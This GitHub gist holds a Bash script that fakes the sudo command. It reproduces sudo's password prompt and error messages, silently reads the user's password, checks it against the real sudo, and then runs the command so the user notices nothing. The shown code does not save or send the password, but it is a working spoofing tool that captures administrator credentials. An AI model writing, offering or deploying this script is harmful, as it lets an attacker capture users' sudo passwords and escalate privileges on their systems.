Skip to content

Instantly share code, notes, and snippets.

@rafa-br34
Last active August 19, 2024 13:46
Show Gist options
  • Save rafa-br34/28b81a0784a806c1970df1b277cba432 to your computer and use it in GitHub Desktop.
Save rafa-br34/28b81a0784a806c1970df1b277cba432 to your computer and use it in GitHub Desktop.
Bash script that fakes sudo
#!/bin/bash
# Bash hates CRLF, run 'sed -i -e "s/\r$//" script_name' to change from CRLF to LF
user=$(whoami)
sudo="/usr/bin/sudo"
stty -echoctl
if (( $# == 0 )); then
$sudo
exit $?
elif (( $# == 1 )) && [[ $1 == -* || $1 == --* ]]; then
$sudo $1
exit $?
fi
$sudo -n true &>/dev/null
if (($? == 0)); then
$sudo $*
exit $?
fi
incorrect=0
sigint_procedure() {
if ((incorrect > 0)); then
printf "\nsudo: $incorrect incorrect password attempts\n"
else
printf "\nsudo: a password is required\n"
fi
exit 1
}
trap "sigint_procedure" SIGINT
for _ in {1..3}; do
printf "[sudo] password for $user: "
read -s password
printf "\n"
echo $password | $sudo -S true &> /dev/null
if (($? != 0)); then
if ((incorrect + 1 < 3)); then
echo "Sorry, try again."
fi
((incorrect++))
else
$sudo $*
exit $?
fi
done
echo "sudo: $incorrect incorrect password attempts"
exit 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment